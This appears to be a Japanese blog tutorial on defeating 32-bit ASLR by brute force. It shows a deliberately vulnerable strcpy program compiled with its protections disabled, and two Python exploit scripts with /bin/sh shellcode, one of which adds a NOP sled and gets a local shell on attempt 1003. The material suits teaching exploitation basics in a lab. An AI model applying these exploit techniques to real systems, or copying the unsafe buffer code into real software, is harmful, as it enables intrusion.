ブルートフォースによる32bit ASLR回避

「単純なスタックバッファオーバーフロー攻撃をやってみる」では、ASLRとSSPDEPが無効な状態でのスタックバッファオーバーフロー攻撃を行った。 このうちASLRについては、32bit環境であればブルートフォースで回避できることが知られている。 ここでは、実際にASLRを有効にした状態でシェルの起動を試してみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

以前のエントリと同様、第一引数の入力によりスタックバッファオーバーフローが起こるコードを書く。 ただし、バッファサイズは300とする。

/* bof.c */
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[300] = {};  /* set all bytes to zero */
    printf("buf = %p\n", buf);
    strcpy(buf, argv[1]);
    puts(buf);
    return 0;
}

SSPDEPを無効にしてコンパイルし、ASLRのみを有効にした状態で実行してみる。

$ gcc -fno-stack-protector -z execstack bof.c
$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
$ ./a.out AAAA
buf = 0xbf906c54
AAAA
$ ./a.out AAAA
buf = 0xbff8a284
AAAA

毎回bufの置かれているアドレスが変わっていることが確認できる。

単純なブルートフォースを試してみる

用意したプログラムを何度も実行すると、bufのアドレスが 0xbfX????4 (Xは8~Fのどれか)の形で変化していることがわかる。 つまり、適当にアドレスを決め打ちして0x80000 (=524288) 回程度実行すれば、アドレスが一致する可能性がある。

そこで、以前のエントリをもとに、ブルートフォースするエクスプロイトコードを作ってみる。

# exploit.py
import sys
import struct
from subprocess import Popen

shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

bufsize = int(sys.argv[1])
addr = 0xbfccccc4

buf = shellcode
buf += 'A' * (bufsize - len(shellcode))
buf += 'AAAA' * 3
buf += struct.pack('<I', addr)

i = 0
while True:
    print i
    p = Popen(['./a.out', buf])
    p.wait()
    i += 1

このコードではアドレスを 0xbfccccc4 に決め打ちし、シェルが起動し入力待ちになるまで無限ループを回す。 実行すると、しばらく待った後にシェルが起動するはずだが、カウンタの値からかなりの時間がかかることがわかる。

$ python exploit.py 300
0
buf = 0xbfa71fd4
(snip)
1
buf = 0xbff19d14
(snip)

NOP sledを使って成功率を上げる

上のコードでは0x80000 (=524288) 回程度の試行が必要であるが、送り込むデータに工夫をすることで試行回数を減らすことができる。 具体的には、シェルコードの前に大量のNOP命令(何もしない命令、0x90)を並べておく。 これはNOP sledと呼ばれる。

たとえば、次のようにシェルコードの前に0x1000 (=4096) 個のNOP命令を置いておくことで、実際にシェルコードが置かれたアドレスが0xbfccccc4-0xbfccdcc4のどれであってもシェルコードが実行されるようになる。 下位4ビットが固定であることを踏まえると、これにより試行回数は0x100分の1、つまり 0x800 (=2048) 回程度に減らせる。

90 90 90 90
90 90 90 90
...
90 90 90 90  <- 0xbfccccc4
...
90 90 90 90
[shellcode]

これをコードに反映させると次のようになる。 ここでは、大量のNOP命令を並べるスペースを確保するため、シェルコードをリターンアドレスの後に置いている。

# exploit2.py
import sys
import struct
from subprocess import Popen

shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

bufsize = int(sys.argv[1])
addr = 0xbfccccc4
nopsize = 0x1000

buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', addr)
buf += '\x90' * nopsize
buf += shellcode

i = 0
while True:
    print i
    p = Popen(['./a.out', buf])
    p.wait()
    i += 1

実際に実行してみる。

$ python exploit2.py 300
0
buf = 0xbfe84c34
(snip)
1
buf = 0xbf85e284
(snip)
...
1003
buf = 0xbfccb244
(snip)
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

この場合は、1003回目でシェルの起動に成功した。 NOP sledを長く取れば取るほど、その分成功率を上げることが可能である。

関連リンク